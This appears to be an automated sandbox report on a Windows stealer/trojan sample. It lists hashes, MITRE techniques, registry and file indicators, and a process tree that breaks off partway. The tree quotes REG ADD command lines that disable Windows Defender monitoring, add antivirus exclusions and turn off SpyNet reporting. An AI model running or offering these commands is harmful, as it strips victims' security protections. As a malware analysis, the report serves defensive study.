2ff7bf95afadbd0e60442d4eb7e0aefe509bbe5cbaa9e1693b9caabed12eb9e8

Analysis

max time kernel
150s
max time network
153s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
03-10-2023 08:13

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

02f3c1cecd341c0a023bc4ca9bfe435266327af571bb590d1f3acd661bc22ac4.exe
Size

7.2MB
MD5

71b7099f3f23955a8bc45829c9d0f05c
SHA1

9372a91e395b9b773fa5e354212a5ae6476eb9b5
SHA256

02f3c1cecd341c0a023bc4ca9bfe435266327af571bb590d1f3acd661bc22ac4
SHA512

3532561545e52416c23497f76a0a79a7b8ecb3888f27d16cbcffcf850b043d1b7f96589627938385091855446bfff34b77b73a2d73ca9011d98c6018b3e41b36
SSDEEP

196608:91O1W/pZgf52/wbIUXU3GYKPA99OJO1bytyfKhs11:3OEQUwCNUWsJHU

Score

10^/10

evasion spyware stealer trojan

Malware Config

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe

Windows security bypass 2 TTPs 40 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\oURPKsXBiGMpdVVB = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\ntmabZXhibOLMgKk = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\idkLIueePTaHC = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\LPejASBNERUn = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\LPejASBNERUn = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\ntmabZXhibOLMgKk = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\genmZJWXaUtU2 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\AZTgzQmTjIbbZTRYj = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\VpnovHJhDZbGuvpQysR = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\VpnovHJhDZbGuvpQysR = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\oURPKsXBiGMpdVVB = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\AZTgzQmTjIbbZTRYj = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\ntmabZXhibOLMgKk = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\GZiriljYU = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\idkLIueePTaHC = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\ntmabZXhibOLMgKk = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\genmZJWXaUtU2 = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\GZiriljYU = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Checks BIOS information in registry 2 TTPs 1 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe

Executes dropped EXE 4 IoCs

pid	Process
1760	Install.exe
2380	Install.exe
828	XOqfbvW.exe
3064	UBDBaHZ.exe

Loads dropped DLL 8 IoCs

pid	Process
2216	02f3c1cecd341c0a023bc4ca9bfe435266327af571bb590d1f3acd661bc22ac4.exe
1760	Install.exe
1760	Install.exe
1760	Install.exe
1760	Install.exe
2380	Install.exe
2380	Install.exe
2380	Install.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Drops Chrome extension 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\manifest.json	UBDBaHZ.exe

Drops file in System32 directory 9 IoCs

description	ioc	Process
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	XOqfbvW.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	XOqfbvW.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	XOqfbvW.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	UBDBaHZ.exe

Drops file in Program Files directory 5 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\GZiriljYU\KfttzO.dll	UBDBaHZ.exe
File created	C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi	UBDBaHZ.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi	UBDBaHZ.exe
File created	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	UBDBaHZ.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja	UBDBaHZ.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\xKesLQoizuLwEuvsY.job	schtasks.exe
File created	C:\Windows\Tasks\YWIPQsmrASKeQPr.job	schtasks.exe
File created	C:\Windows\Tasks\bhZhLXMKPydttVOkpp.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 7 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2560	schtasks.exe
2564	schtasks.exe
2576	schtasks.exe
540	schtasks.exe
2156	schtasks.exe
928	schtasks.exe
1692	schtasks.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	UBDBaHZ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\fa-2d-d1-91-f6-c0	UBDBaHZ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	UBDBaHZ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	UBDBaHZ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	UBDBaHZ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	UBDBaHZ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	UBDBaHZ.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	UBDBaHZ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	UBDBaHZ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	UBDBaHZ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	UBDBaHZ.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	UBDBaHZ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	wscript.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{ED13CDD4-CA2E-43C5-B5AC-07BCE5073612}\WpadDecisionTime = 908ff5d8d1f5d901	UBDBaHZ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	UBDBaHZ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	UBDBaHZ.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f00e3000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	UBDBaHZ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	UBDBaHZ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	UBDBaHZ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	UBDBaHZ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	UBDBaHZ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	UBDBaHZ.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	UBDBaHZ.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{ED13CDD4-CA2E-43C5-B5AC-07BCE5073612}\WpadDecision = "0"	UBDBaHZ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	UBDBaHZ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	UBDBaHZ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	UBDBaHZ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host\Settings	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	UBDBaHZ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	UBDBaHZ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	UBDBaHZ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	UBDBaHZ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	UBDBaHZ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{ED13CDD4-CA2E-43C5-B5AC-07BCE5073612}	UBDBaHZ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	UBDBaHZ.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	UBDBaHZ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	UBDBaHZ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	wscript.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	UBDBaHZ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	UBDBaHZ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	UBDBaHZ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	UBDBaHZ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	UBDBaHZ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{ED13CDD4-CA2E-43C5-B5AC-07BCE5073612}\fa-2d-d1-91-f6-c0	UBDBaHZ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	UBDBaHZ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	UBDBaHZ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	UBDBaHZ.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	UBDBaHZ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings	UBDBaHZ.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{ED13CDD4-CA2E-43C5-B5AC-07BCE5073612}\WpadDecisionReason = "1"	UBDBaHZ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	UBDBaHZ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	UBDBaHZ.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	UBDBaHZ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	UBDBaHZ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	UBDBaHZ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	UBDBaHZ.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\fa-2d-d1-91-f6-c0\WpadDecisionReason = "1"	UBDBaHZ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	UBDBaHZ.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{ED13CDD4-CA2E-43C5-B5AC-07BCE5073612}\WpadNetworkName = "Network 2"	UBDBaHZ.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\fa-2d-d1-91-f6-c0\WpadDecisionTime = 908ff5d8d1f5d901	UBDBaHZ.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	wscript.exe

Suspicious behavior: EnumeratesProcesses 23 IoCs

pid	Process
2840	powershell.EXE
2840	powershell.EXE
2840	powershell.EXE
1728	powershell.EXE
1728	powershell.EXE
1728	powershell.EXE
2316	powershell.EXE
2316	powershell.EXE
2316	powershell.EXE
936	powershell.EXE
936	powershell.EXE
936	powershell.EXE
3064	UBDBaHZ.exe
3064	UBDBaHZ.exe
3064	UBDBaHZ.exe
3064	UBDBaHZ.exe
3064	UBDBaHZ.exe
3064	UBDBaHZ.exe
3064	UBDBaHZ.exe
3064	UBDBaHZ.exe
3064	UBDBaHZ.exe
3064	UBDBaHZ.exe
3064	UBDBaHZ.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2840	powershell.EXE
Token: SeDebugPrivilege	1728	powershell.EXE
Token: SeDebugPrivilege	2316	powershell.EXE
Token: SeDebugPrivilege	936	powershell.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2216 wrote to memory of 1760	2216	02f3c1cecd341c0a023bc4ca9bfe435266327af571bb590d1f3acd661bc22ac4.exe	28
PID 2216 wrote to memory of 1760	2216	02f3c1cecd341c0a023bc4ca9bfe435266327af571bb590d1f3acd661bc22ac4.exe	28
PID 2216 wrote to memory of 1760	2216	02f3c1cecd341c0a023bc4ca9bfe435266327af571bb590d1f3acd661bc22ac4.exe	28
PID 2216 wrote to memory of 1760	2216	02f3c1cecd341c0a023bc4ca9bfe435266327af571bb590d1f3acd661bc22ac4.exe	28
PID 2216 wrote to memory of 1760	2216	02f3c1cecd341c0a023bc4ca9bfe435266327af571bb590d1f3acd661bc22ac4.exe	28
PID 2216 wrote to memory of 1760	2216	02f3c1cecd341c0a023bc4ca9bfe435266327af571bb590d1f3acd661bc22ac4.exe	28
PID 2216 wrote to memory of 1760	2216	02f3c1cecd341c0a023bc4ca9bfe435266327af571bb590d1f3acd661bc22ac4.exe	28
PID 1760 wrote to memory of 2380	1760	Install.exe	29
PID 1760 wrote to memory of 2380	1760	Install.exe	29
PID 1760 wrote to memory of 2380	1760	Install.exe	29
PID 1760 wrote to memory of 2380	1760	Install.exe	29
PID 1760 wrote to memory of 2380	1760	Install.exe	29
PID 1760 wrote to memory of 2380	1760	Install.exe	29
PID 1760 wrote to memory of 2380	1760	Install.exe	29
PID 2380 wrote to memory of 2512	2380	Install.exe	31
PID 2380 wrote to memory of 2512	2380	Install.exe	31
PID 2380 wrote to memory of 2512	2380	Install.exe	31
PID 2380 wrote to memory of 2512	2380	Install.exe	31
PID 2380 wrote to memory of 2512	2380	Install.exe	31
PID 2380 wrote to memory of 2512	2380	Install.exe	31
PID 2380 wrote to memory of 2512	2380	Install.exe	31
PID 2380 wrote to memory of 2624	2380	Install.exe	33
PID 2380 wrote to memory of 2624	2380	Install.exe	33
PID 2380 wrote to memory of 2624	2380	Install.exe	33
PID 2380 wrote to memory of 2624	2380	Install.exe	33
PID 2380 wrote to memory of 2624	2380	Install.exe	33
PID 2380 wrote to memory of 2624	2380	Install.exe	33
PID 2380 wrote to memory of 2624	2380	Install.exe	33
PID 2512 wrote to memory of 2748	2512	forfiles.exe	35
PID 2512 wrote to memory of 2748	2512	forfiles.exe	35
PID 2512 wrote to memory of 2748	2512	forfiles.exe	35
PID 2512 wrote to memory of 2748	2512	forfiles.exe	35
PID 2512 wrote to memory of 2748	2512	forfiles.exe	35
PID 2512 wrote to memory of 2748	2512	forfiles.exe	35
PID 2512 wrote to memory of 2748	2512	forfiles.exe	35
PID 2624 wrote to memory of 2620	2624	forfiles.exe	36
PID 2624 wrote to memory of 2620	2624	forfiles.exe	36
PID 2624 wrote to memory of 2620	2624	forfiles.exe	36
PID 2624 wrote to memory of 2620	2624	forfiles.exe	36
PID 2624 wrote to memory of 2620	2624	forfiles.exe	36
PID 2624 wrote to memory of 2620	2624	forfiles.exe	36
PID 2624 wrote to memory of 2620	2624	forfiles.exe	36
PID 2620 wrote to memory of 2752	2620	cmd.exe	38
PID 2620 wrote to memory of 2752	2620	cmd.exe	38
PID 2620 wrote to memory of 2752	2620	cmd.exe	38
PID 2620 wrote to memory of 2752	2620	cmd.exe	38
PID 2620 wrote to memory of 2752	2620	cmd.exe	38
PID 2620 wrote to memory of 2752	2620	cmd.exe	38
PID 2620 wrote to memory of 2752	2620	cmd.exe	38
PID 2748 wrote to memory of 2508	2748	cmd.exe	37
PID 2748 wrote to memory of 2508	2748	cmd.exe	37
PID 2748 wrote to memory of 2508	2748	cmd.exe	37
PID 2748 wrote to memory of 2508	2748	cmd.exe	37
PID 2748 wrote to memory of 2508	2748	cmd.exe	37
PID 2748 wrote to memory of 2508	2748	cmd.exe	37
PID 2748 wrote to memory of 2508	2748	cmd.exe	37
PID 2620 wrote to memory of 2516	2620	cmd.exe	39
PID 2620 wrote to memory of 2516	2620	cmd.exe	39
PID 2620 wrote to memory of 2516	2620	cmd.exe	39
PID 2620 wrote to memory of 2516	2620	cmd.exe	39
PID 2620 wrote to memory of 2516	2620	cmd.exe	39
PID 2620 wrote to memory of 2516	2620	cmd.exe	39
PID 2620 wrote to memory of 2516	2620	cmd.exe	39
PID 2748 wrote to memory of 2524	2748	cmd.exe	40

C:\Users\Admin\AppData\Local\Temp\02f3c1cecd341c0a023bc4ca9bfe435266327af571bb590d1f3acd661bc22ac4.exe
"C:\Users\Admin\AppData\Local\Temp\02f3c1cecd341c0a023bc4ca9bfe435266327af571bb590d1f3acd661bc22ac4.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2216
- C:\Users\Admin\AppData\Local\Temp\7zS3717.tmp\Install.exe
  .\Install.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1760
- - C:\Users\Admin\AppData\Local\Temp\7zS38EB.tmp\Install.exe
    .\Install.exe /qGSediddTgIM "385118" /S
    3⤵
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in System32 directory
    - Enumerates system info in registry
    - Suspicious use of WriteProcessMemory
    PID:2380
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2512
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2748
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        6⤵
        
        PID:2508
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        6⤵
        
        PID:2524
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2624
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        5⤵
